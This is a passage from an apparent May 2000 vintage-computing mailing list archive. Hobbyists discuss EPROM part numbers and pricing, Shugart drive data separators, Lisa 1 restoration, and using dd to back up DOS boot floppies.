fine detail but sees an overall pattern. If you look at 100's of plots, the overall pattern will become clear. This may be analogous to looking at a highway versus a string to see the trend in points of data. All of a sudden I just realize that if you looked at enough data maybe your brain spontaneously creates patterns. Occasionally I looked at data after consuming a "few" beers, there was lots of patterns then. OT: OT: Have you ever punched cards after a few beers? I seem to remember finding occasional duplicate lines of code or code of the form: 100 IF(I) 100,100,100 you may recognize FORTRAN II. Mike "more patterns than brains" From ard at p850ug1.demon.co.uk Wed May 24 15:17:52 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: When new advertising meets old computers In-Reply-To: <003801bfc5b5$d6ec5c30$3c37d986@fauradon.beckman.com> from "FBA" at May 24, 0 02:25:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 313 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/8b0c5414/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 24 15:16:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <000101bfc5b3$737a3570$013da8c0@Corellian> from "John Lewczyk" at May 24, 0 03:08:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1318 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/c12ec73a/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 24 15:18:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <20000524193557.30664.qmail@brouhaha.com> from "Eric Smith" at May 24, 0 07:35:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 199 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/1bda4ad9/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 24 16:22:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> from "Joe" at May 24, 0 04:09:24 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2312 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/d857d75b/attachment-0001.ksh From dann at greycat.com Wed May 24 16:31:18 2000 From: dann at greycat.com (Dann Lunsford) Date: Sun Feb 27 18:52:57 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net>; from rigdonj@intellistar.net on Wed, May 24, 2000 at 04:09:24PM -0500 References: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> Message-ID: <20000524143117.A10146@greycat.com> On Wed, May 24, 2000 at 04:09:24PM -0500, Joe wrote: > Hi, > > I found this in a pile of surplus computers yesterday. Can anyone tell > me what it is? It looks like an ordinary external 5 1/4" drive box but on > the back of the box it has a DB-25M connector marked "MODEM/CPU" and a > DB-25F connector marked "TERMINAL". There's also a rotary switch labeled > "RATE" with positions marked "10", "30", "120", "240", "480", 960" and > "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" > "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and > "HALF". It has a socket for a standard AC line cord. It's made by Techtran > Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's > a disk drive that's made to go between a terminal and it's MODEM or > computer but I've never heard of one before. If that's what it is, then > how do you give it coomands? If it's what I think it is, I've got one in my garage, with manual. Your basic guess is right: It fits between a terminal and modem. It has some *very* primitive line-editing capability, basically you entered numbered lines of data while offline and then you could upload to your timeshare account later. This was when connections were 300 baud and remote access was *expensive*. I'll look for the manual when I get home. I'm pretty sure it's the same model # as yours. The commands should be similar, anyway. -- Dann Lunsford The only thing necessary for the triumph of evil dann@greycat.com is that men of good will do nothing. -- Cicero From elvey at hal.com Wed May 24 16:49:10 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005242149.OAA16134@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > The 8205 and 3205 are exactly the same part. > > > > > In which case I think it predates the 8085, since it was used on the > 1702-based PROM card in the MCS8i. Surely that was before the 8085? > > -tony Hi 3205's were part of the 3000 series bit slice family. I don't know when they started these but I think it was before MDS800's because they used 3001/3002's in the floppy disk controller for these. This puts them in at least the 8080 or 8008 time frame someplace. Maybe even earlier. Dwight From allisonp at world.std.com Wed May 24 16:49:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions Message-ID: <004801bfc5ca$33120d70$7864c0d0@ajp166> >> Yes, but ... the 5-volt parts were costing on the order of $100 per piece. >> I bought a bunch for a project and still remember the "sticker-shock," >> though it wasn't any better a year later when I had to buy 2732's. In the >> latter case, I sold them for $25 each to a west-coast surplus vendor who >> turned around and sold them for $80 each. I paid $11 each for a handful of 2508s in late 1976. A year later 2716s were 12$. 2732s were much later and more costly, in 1979(late) I paid a whopping 15$ each. > I find it interesting that after the 2716's were out for a while, >and the price had dropped to someplace in the $5-$10 range someplace, The halfgood part 2758 was used on the IMSAI IMP-48 in 1977! >the intel 2508's were still in the high $30's. This always >amused me because there was no difference at all between the >Intel 2716 and the 2508 other than the 2508 was a half bad >2716. I call that real good sales to take bad parts and get BZZT! 2708 was three voltage and the 2716 was 5V huge difference in pin out too. The problem was many vendors were gouging for them and STILL! Allison From allisonp at world.std.com Wed May 24 16:44:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions Message-ID: <004701bfc5ca$32591db0$7864c0d0@ajp166> > 3205's were part of the 3000 series bit slice family. >I don't know when they started these but I think it >was before MDS800's because they used 3001/3002's in >the floppy disk controller for these. This puts them in >at least the 8080 or 8008 time frame someplace. Maybe >even earlier. Yep. Also the 300x was used to proto the 8080, or so the story goes. I'd seen a 300x based 8080 (ran at 4mhz then) once. Allison From allisonp at world.std.com Wed May 24 16:42:40 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions Message-ID: <004601bfc5ca$31a33b30$7864c0d0@ajp166> >> I've just checked the schematics, and the chip I replaced (on the PROM >> memory board (which uses 1702s, of course)) was a 3205. Same pinout as >> the '138, etc. >> Any idea if that's a renumbered TI part? > >The 8205 and 3205 are exactly the same part. Not according to my intel books, similar but it's like saying a 74ls138 is the same as 74hct138... very close. Apparently there was a process difference. Though intel did at times morph one part/process into another. Allison From elvey at hal.com Wed May 24 18:14:27 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <004801bfc5ca$33120d70$7864c0d0@ajp166> Message-ID: <200005242314.QAA17212@civic.hal.com> "allisonp" wrote: > > >the intel 2508's were still in the high $30's. This always > >amused me because there was no difference at all between the > >Intel 2716 and the 2508 other than the 2508 was a half bad > >2716. I call that real good sales to take bad parts and get > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > difference in pin out too. Hi I was talking about Intel's 5 volt '08. They may have been called 2758 or 2508, I don't recall. As far as I know, Intel never specifically made a 5 volt 1Kx8 EPROM die, only the 2Kx8. TI was first out with a single rail '08 and was doing in the 2708 sales from Intel. That is when Intel started relabling the half bad 2716's( Yes, I know that the pinout are not compatable between the 2716 and 2708, what does that have to do with what we were talking about? ). Early on these half bad parts were cheaper than 2716's but later in their life, they were list as being more expensive. Dwight From jrkeys at concentric.net Wed May 24 18:25:55 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:57 2005 Subject: New Finds Today - Specifically the TK25 References: <022201bfc521$9b444b00$7d731fd1@default> <392BCF04.28F1A20C@idirect.com> Message-ID: <006501bfc5d7$69c7b740$1f701fd1@default> Thanks for the tips and information. John John Keys ----- Original Message ----- From: Jerome Fine To: Sent: Wednesday, May 24, 2000 7:45 AM Subject: Re: New Finds Today - Specifically the TK25 > >John R. Keys Jr. wrote: > > > Had a good day today as I got a digital TK25 with cable > > Jerome Fine replies: > > >From personal experience, a TK25 is about 25% faster than a TK50 (AFTER > the tape has been tensioned the first time it is inserted - which may take as long > as a few minutes - but can often be done while other things are happening - like > booting the OS). In RT-11, I also use VBGEXE to increase the size of the > buffers when I do a "/VERIFY:ONLY" command (yes I know - that notation > can't be used with VBGEXE which requires CSI switches). I may have a spare > controller. Do you have anything to swap? I may also have a few spare cartridges. > > The drive uses standard DC600A tapes (1/4" QIC cartridges). The only drawback > compared to a TK50 is that the capacity is less than 2 RT-11 partitions, but when > it comes to doing a "/VERIFY:ONLY" on a TK50, it takes so long that I never > used the TK50 for regular backup, only as an off-site exchange media. And then, > a VERIFY operation consisted of doing a RESTORE to a scratch partition followed > by a BINCOM with the original file or partition. > > Sincerely yours, > > Jerome Fine > > From jd at hq.sjaa.com.au Wed May 24 18:20:43 2000 From: jd at hq.sjaa.com.au (Justin M Dunlop) Date: Sun Feb 27 18:52:57 2005 Subject: Lisa 1 OS Message-ID: Greetings all, I have managed to restore a Lisa 1 from an upgraded Lisa 2. Found some twiggy drives, front panel and the correct ROM to drive it all. I have even found a complete set of Lisa Office disks on twiggy diskettes. Thanks to all who helped in this venture (I know some follow this list). However, to date I'm having alot of trouble getting the Lisa 1 OS itself. If anyone has a set/copy I would be interested in hearing from you about purchase, copying or installing onto ProFile. Kind regards, Justin ___________________________________________________________________________ Justin M. Dunlop email: jd@hq.sjaa.com.au ____________________________________________________________________________ From richard at idcomm.com Wed May 24 19:22:22 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Shurgart drive question References: <200005241819.LAA13549@civic.hal.com> Message-ID: <000801bfc5df$4c323180$0400c0a8@winbook> Are you using a controller that requires the external "data separator" on the drive? If you use it with a controller that expects the raw data you'll get something that works part of the time. One might interpret that as being pattern-sensitive, since it is. I'm not sure you need to fiddle with this data separator much, but if you take into consideration that what most folks call a "data separator" is really a clock extractor, which is little else than a missing clock detector and fills in the missing clocks for the benefit of the data extraction logic in the controller. Why not contact me off-list and I'll look up what I can from the drive documents. What troubles me is that I don't know what kind of controller you're using, hence I dont know that this mechanism on the drive is even required for it. Are you sure you need this crude bit of circuitry? Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Wednesday, May 24, 2000 12:19 PM Subject: Shugart drive question > Hi > I'm still working on my NIC-80. I'm having a data pattern > sensitive problem. I'm not yet sure if it is in the SA900 > drive or in the controller. When looking at the drive, > there is a clock/data separator circuit. It uses two one shots. > One is for the next clock cycle after a one was read and > one is for the next clock cycle if there was no one read. > I understand the issues of this shifting of the read > data but I don't know how much these two one shots need > to be adjusted. The SA800 TTL board also has the same circuit. > I was hoping that someone with an old drive could put > a 'scope on these two one shots and determine the nominal > pulse widths they see? The test points are labled the same > on both the SA900 and SA800 series drives as TP21 and TP24. > They are negative going pulses. > Dwight > From fauradon at mn.mediaone.net Wed May 24 19:35:31 2000 From: fauradon at mn.mediaone.net (Sue and Francois) Date: Sun Feb 27 18:52:57 2005 Subject: New Finds Today References: <022201bfc521$9b444b00$7d731fd1@default> Message-ID: <002901bfc5e1$23173460$75741918@fauradon> > battery seems to be dead. Anyone know anything about it. Also picked > up a neat 3 foot robot for $1 here at a thrift store. No remote was with Off course now you realize that you can't hate me anymore, so whatdayasay we do the diner thing? > it a and one cover plate is missing, have not tried to power it up yet. > Keep computing > John Keys > Francois From richard at idcomm.com Wed May 24 19:31:08 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions References: <004601bfc5ca$31a33b30$7864c0d0@ajp166> Message-ID: <002e01bfc5e0$8598e800$0400c0a8@winbook> The sheets I have on the 3205 and 8205 all agree it's a bipolar device. With the 3205 I'd certainly belive it was intended to go with the rest of that bipolar family, so it's probably schottky bipolar. I haven't been downstairs in a couple of days, but I do have more specific data on the part downstairs. I think it's quite safe to use an F138 or an ACT138 in its place anywhere. It may change the races somewhat, but shouldn't hurt any reasonably designed circuit. All bets are off with Altair logic designs, though, since they often relied very much on having a capacitor soldered to the back of the board for a delay element. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 3:42 PM Subject: Re: Altair parts substitutions > >> I've just checked the schematics, and the chip I replaced (on the PROM > >> memory board (which uses 1702s, of course)) was a 3205. Same pinout as > >> the '138, etc. > >> Any idea if that's a renumbered TI part? > > > >The 8205 and 3205 are exactly the same part. > > > Not according to my intel books, similar but it's like saying a 74ls138 is > the > same as 74hct138... very close. Apparently there was a process difference. > Though intel did at times morph one part/process into another. > > Allison > > From cmcmanis at mcmanis.com Wed May 24 19:45:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:57 2005 Subject: Bootable Floppy from CD? Message-ID: <392C779A.7663DB0C@mcmanis.com> In an effort to preserve all my miscellaneous driver floppies I've been copying them to CD-rom. I figured I should also do this for my DOS 6.3 disks but realized that I don't know how to create a bootable DOS 6.3 system disk from the disk itself. I've considered using dd(1) on unix to create just the disk image that I can later use dd to copy back out but was wondering if perhaps there was a better way. --Chuck From richard at idcomm.com Wed May 24 19:39:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions References: <004801bfc5ca$33120d70$7864c0d0@ajp166> Message-ID: <003401bfc5e1$b2b84f00$0400c0a8@winbook> I didn't realize that Intel made any 2508's. My sense is that they called their 5-volt parts 8708's. They're the parts that were commonly shipped on their iSBC-8024's if you ordered a monitor PROM with them. TI was the one famous for the numbering screwup made by assigning an industry-standard number to parts that didn't meed the industry standard. They seem to have reversed output enable and chip select on their parts, not to mention that their 2716's were multi-voltage parts. Their 2516's were comparable with the Intel 2716's, however, and MOT made them as well as the 2508's, which I think were half-good 2716's. Since MOT didn't develop either part, I don't know just offhand which one they pursued. It didn't matter much, since only the really large ROM arrays used the different select/enable timings to advantage. I've enbedded a comment or two below. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 3:49 PM Subject: Re: Altair parts substitutions > >> Yes, but ... the 5-volt parts were costing on the order of $100 per > piece. > >> I bought a bunch for a project and still remember the "sticker-shock," > >> though it wasn't any better a year later when I had to buy 2732's. In > the > >> latter case, I sold them for $25 each to a west-coast surplus vendor who > >> turned around and sold them for $80 each. > > > I paid $11 each for a handful of 2508s in late 1976. A year later 2716s > were 12$. 2732s were much later and more costly, in 1979(late) I paid > a whopping 15$ each. > > > I find it interesting that after the 2716's were out for a while, > >and the price had dropped to someplace in the $5-$10 range someplace, > > > The halfgood part 2758 was used on the IMSAI IMP-48 in 1977! > > >the intel 2508's were still in the high $30's. This always > >amused me because there was no difference at all between the > >Intel 2716 and the 2508 other than the 2508 was a half bad > >2716. I call that real good sales to take bad parts and get > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > difference in pin out too. > TI's 2716 was a 3 voltage part, too, IIRC. They had a 5Volt-only 2516, though. > > The problem was many vendors were gouging for them and STILL! > > Allison > > From richard at idcomm.com Wed May 24 19:42:21 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions References: <200005242314.QAA17212@civic.hal.com> Message-ID: <003c01bfc5e2$169afcc0$0400c0a8@winbook> Yeah . . . I remember those, too. Intel made essentially the same parts with different numbers, apparently for marketing purposes. They had the 8708 and the 2758, both of which were 24-pin 8 k-bit EPROMs, similar pinout, etc. Several vendors were competing to see who could foul up the numbering scheme the worst. I don't know who won. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Wednesday, May 24, 2000 5:14 PM Subject: Re: Altair parts substitutions > "allisonp" wrote: > > > > >the intel 2508's were still in the high $30's. This always > > >amused me because there was no difference at all between the > > >Intel 2716 and the 2508 other than the 2508 was a half bad > > >2716. I call that real good sales to take bad parts and get > > > > > > BZZT! 2708 was three voltage and the 2716 was 5V huge > > difference in pin out too. > > Hi > I was talking about Intel's 5 volt '08. They may have been > called 2758 or 2508, I don't recall. As far as I know, > Intel never specifically made a 5 volt 1Kx8 EPROM die, only > the 2Kx8. TI was first out with a single rail '08 and was > doing in the 2708 sales from Intel. That is when Intel started > relabling the half bad 2716's( Yes, I know that the pinout are > not compatable between the 2716 and 2708, what does that have > to do with what we were talking about? ). Early on these half > bad parts were cheaper than 2716's but later in their life, > they were list as being more expensive. > Dwight > From richard at idcomm.com Wed May 24 19:48:03 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Bootable Floppy from CD? References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <005401bfc5e2$e298aac0$0400c0a8@winbook> I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of itmes. What, by the way, is DOS 6.3? If your motherboad is modern enough, it should support bootable CD's, but I don't know what the appropriate spec for a bootable CD would be. I do recall that ISO9660 or whatever it was is NOT the right format. IIRC, it had a name that sounded like it belonged on the Taco Bell menu. I got out of the fray when I quit beta-testing Adaptec's software, which I did with the release of their first "easy-cd-creator" vesrion. This thin claimed to do things it didn't because it couldn't, but the managers said it would . . . . . . Dick ----- Original Message ----- From: Chuck McManis To: Sent: Wednesday, May 24, 2000 6:45 PM Subject: Bootable Floppy from CD? > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. > > --Chuck > From eric at brouhaha.com Wed May 24 19:56:21 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:57 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> (message from Chuck McManis on Wed, 24 May 2000 17:45:14 -0700) References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <20000525005621.32493.qmail@brouhaha.com> Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. What I use on Linux to back up images of 1440K floppies is: dd if=/dev/fd0 of=floppy.img bs=18k And to recreate them from an image: dd if=floppy.img of=/dev/fd0 bs=18k (The 18k isn't strictly necessary, but for efficiency I like to use a reasonably large block size that happens to evenly divide into the size of the disk.) If the format is something other than 1440K, more specific floppy device names are sometimes required. With suitable arguments, I've successfully done this with 160K, 180K, and 360K 5.25 inch diskettes and 720K 3.5 inch as well. I keep disk images of DOS and various useful utility programs in a super-secret hidden directory on my web server, so that I can get them if I need them when I'm not at home. There's a DOS program called "rawrite" that can recreate floppies from images, if you need to do it when you don't have Linux or xBSD handy. From eric at brouhaha.com Wed May 24 20:01:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <003401bfc5e1$b2b84f00$0400c0a8@winbook> (richard@idcomm.com) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> Message-ID: <20000525010125.32524.qmail@brouhaha.com> "Richard Erlacher" wrote: > I didn't realize that Intel made any 2508's. I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel 2758 is a half-bad 2716, but my fuzzy recollection from that era was that the ones I looked at had substantially different die sizes. For half-bad parts Intel usually added a suffix to the part number to denote which half was bad, and I didn't see such a designation on any of the 2758s I used. > My sense is that they called their 5-volt parts 8708's. Nope, that required the same supplies as the 2708, since it was really the same part. > TI was the one famous for the numbering screwup made by assigning an > industry-standard number to parts that didn't meed the industry standard. Because there *wasn't* an industry standard on the 2K*8 EPROM at the time when TI and Intel both announced their parts. I think Intel's move to the single 5V supply caught TI completely by surprise. From zmerch at 30below.com Wed May 24 20:21:03 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:52:57 2005 Subject: Bootable Floppy from CD? In-Reply-To: <005401bfc5e2$e298aac0$0400c0a8@winbook> References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <3.0.1.32.20000524212103.01314740@mail.30below.com> Rumor has it that Richard Erlacher may have mentioned these words: >I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of >itmes. What, by the way, is DOS 6.3? IBM marketed a PC-DOS 6.3 with Stacker and some other stuff, IIRC. Personally, for the boot stuff, I'd just stick to a boot floppy... boot the computer from your PC-DOS disk 1, and if it goes into a setup routine, hit (well, for MS-DOS... not sure if it's different with IBM's stuff) and when you get to the dos prompt, if you have two floppies, put a floppy in your B: and do a: format b: /s (to put the system on.) If you don't have 2 floppies, issue that command anyway. With a 1 floppy system, you have a *virtual* B: and the system will automatically ask you for source and destination disks when it wants you to swap them. HTH, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From transit at lerctr.org Wed May 24 20:47:28 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:57 2005 Subject: Bootable Floppy from CD? In-Reply-To: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > > If your motherboad is modern enough, it should support bootable CD's, but I > don't know what the appropriate spec for a bootable CD would be. I do > recall that ISO9660 or whatever it was is NOT the right format. IIRC, it > had a name that sounded like it belonged on the Taco Bell menu. I got out "High Sierra"??? From richard at idcomm.com Wed May 24 20:47:58 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> <20000525010125.32524.qmail@brouhaha.com> Message-ID: <006d01bfc5eb$41ee83c0$0400c0a8@winbook> Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, for which series I recall Intel cooked up the 87xx part numbers, had silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to whatever they wanted to use for RS232 converters. The memories didn't see any power supply other than +5. I do believe you're right about the 2508's. Needless to say, all this stuff is really difficult to sort out 25 years hence, since it wasn't too clear what was the case even then. Dick ----- Original Message ----- From: Eric Smith To: Sent: Wednesday, May 24, 2000 7:01 PM Subject: Re: Altair parts substitutions > "Richard Erlacher" wrote: > > I didn't realize that Intel made any 2508's. > > I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. > > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. For half-bad > parts Intel usually added a suffix to the part number to denote which half > was bad, and I didn't see such a designation on any of the 2758s I used. > > > My sense is that they called their 5-volt parts 8708's. > > Nope, that required the same supplies as the 2708, since it was > really the same part. > > > TI was the one famous for the numbering screwup made by assigning an > > industry-standard number to parts that didn't meed the industry standard. > > Because there *wasn't* an industry standard on the 2K*8 EPROM at the time > when TI and Intel both announced their parts. I think Intel's move to > the single 5V supply caught TI completely by surprise. > From jrkeys at concentric.net Wed May 24 20:52:45 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:58 2005 Subject: New Finds Today References: <022201bfc521$9b444b00$7d731fd1@default> <002901bfc5e1$23173460$75741918@fauradon> Message-ID: <001001bfc5eb$ed34a520$88701fd1@default> That would be great and when I get back from Texas On June 10th I will contact you to set a date. I found out the robot sells for $199 and will not do anything without the remote. Still looking for the Hero's I or II. Have a fun holiday next week and see you in June. John Keys ----- Original Message ----- From: Sue and Francois To: Sent: Wednesday, May 24, 2000 7:35 PM Subject: Re: New Finds Today > > battery seems to be dead. Anyone know anything about it. Also picked > > up a neat 3 foot robot for $1 here at a thrift store. No remote was with > > Off course now you realize that you can't hate me anymore, so whatdayasay we > do the diner thing? > > > it a and one cover plate is missing, have not tried to power it up yet. > > Keep computing > > John Keys > > > > Francois > > From richard at idcomm.com Wed May 24 20:56:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? References: <392C779A.7663DB0C@mcmanis.com> <3.0.1.32.20000524212103.01314740@mail.30below.com> Message-ID: <007b01bfc5ec$9122e480$0400c0a8@winbook> I've never encountered that version 6.3. I've got a few sets of install disketted for DOS 6.21, which was made up for DELL, specifically without the compression support in it or among its utilities. I, havning spent much time testing the more popular compression schemes, am an avid user of compression. I've found it to be no more problem-prone than plain-vanilla DOS, yet the maintenance tools (scandisk) seem to work better on compressed volumes than on uncompressed. Compression does seem to enhance disk subsystem preformance. If you have a solid backup regimen, you should never have to worry about data loss just because you use compression. I found that DRVSPACE yielded about a 15% performance increase and had no added risk of system failure. I also found that the risk of data loss was actually lower (based on my substantial but still relatively small data sample) than that with uncompressed data, probably due to the more effective error management tools. the long and short is that I like it, use it, and haven't yet come to cuss it. That's why I've not used the DOS 6.21. Dick ----- Original Message ----- From: Roger Merchberger To: Sent: Wednesday, May 24, 2000 7:21 PM Subject: Re: Bootable Floppy from CD? > Rumor has it that Richard Erlacher may have mentioned these words: > >I know what you mean. I've made the shift from DOS 6.20 to 6.22 a couple of > >itmes. What, by the way, is DOS 6.3? > > IBM marketed a PC-DOS 6.3 with Stacker and some other stuff, IIRC. > > Personally, for the boot stuff, I'd just stick to a boot floppy... boot the > computer from your PC-DOS disk 1, and if it goes into a setup routine, hit > (well, for MS-DOS... not sure if it's different with IBM's stuff) and > when you get to the dos prompt, if you have two floppies, put a floppy in > your B: and do a: > > format b: /s (to put the system on.) > > If you don't have 2 floppies, issue that command anyway. With a 1 floppy > system, you have a *virtual* B: and the system will automatically ask you > for source and destination disks when it wants you to swap them. > > HTH, > Roger "Merch" Merchberger > -- > Roger "Merch" Merchberger --- sysadmin, Iceberg Computers > Recycling is good, right??? Ok, so I'll recycle an old .sig. > > If at first you don't succeed, nuclear warhead > disarmament should *not* be your first career choice. > From eric at brouhaha.com Wed May 24 20:56:30 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <004601bfc5ca$31a33b30$7864c0d0@ajp166> (allisonp@world.std.com) References: <004601bfc5ca$31a33b30$7864c0d0@ajp166> Message-ID: <20000525015630.447.qmail@brouhaha.com> I wrote: > The 8205 and 3205 are exactly the same part. Allison wrote: > Not according to my intel books, similar but it's like saying a 74ls138 is > the > same as 74hct138... very close. Apparently there was a process difference. > Though intel did at times morph one part/process into another. According to the 1980 Component Data Catalog, the specifications for the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all the graphs. From richard at idcomm.com Wed May 24 20:59:39 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? References: Message-ID: <007f01bfc5ec$e6e84a40$0400c0a8@winbook> Is that the one they settled on? When I left the beta group they were kicking around a number of names like "Torito" and a few others that got me to thinking about Tacoritos, etc. I'll certainly admit that High Sierra doesn't sound so much like a Taco Bell item. It's been a few years since I last visited a Taco Bell, though, there might be something that sounds like that. Dick ----- Original Message ----- From: Charles P. Hobbs (SoCalTip) To: Sent: Wednesday, May 24, 2000 7:47 PM Subject: Re: Bootable Floppy from CD? > > > On Wed, 24 May 2000, Richard Erlacher wrote: > > > > > If your motherboad is modern enough, it should support bootable CD's, but I > > don't know what the appropriate spec for a bootable CD would be. I do > > recall that ISO9660 or whatever it was is NOT the right format. IIRC, it > > had a name that sounded like it belonged on the Taco Bell menu. I got out > > "High Sierra"??? > From eric at brouhaha.com Wed May 24 21:03:30 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <20000525010125.32524.qmail@brouhaha.com> (message from Eric Smith on 25 May 2000 01:01:25 -0000) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> <20000525010125.32524.qmail@brouhaha.com> Message-ID: <20000525020330.493.qmail@brouhaha.com> I wrote: > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. For half-bad > parts Intel usually added a suffix to the part number to denote which half > was bad, and I didn't see such a designation on any of the 2758s I used. Checking the 1980 Component Data Catalog reveals that those who claimed that 2758 was a half-good 2716 are almost certainly correct. The electrical specifications match the standard speed-grade (no suffix) 2716. Pin 19, which is A10 on a 2716, is called "Ar" on a 2758, and is specified in the DC and Operating Characteristics table as an input which should be in the range of -0.1 to 0.8 V (i.e., logic 0). However, footnote 4 of that table states: Ar is a reference voltage level which requires an input current of only 10 uA. The 2758 S1865 is also available which has a reference voltage level of Vih instead of Vil. Essentially the same information is restated in the paragraph "Device Operation". It's very interesting how carefully they avoided making any statements that pin 19 is an address line, instead calling it a reference voltage. From eric at brouhaha.com Wed May 24 21:08:18 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <006d01bfc5eb$41ee83c0$0400c0a8@winbook> (richard@idcomm.com) References: <004801bfc5ca$33120d70$7864c0d0@ajp166> <003401bfc5e1$b2b84f00$0400c0a8@winbook> 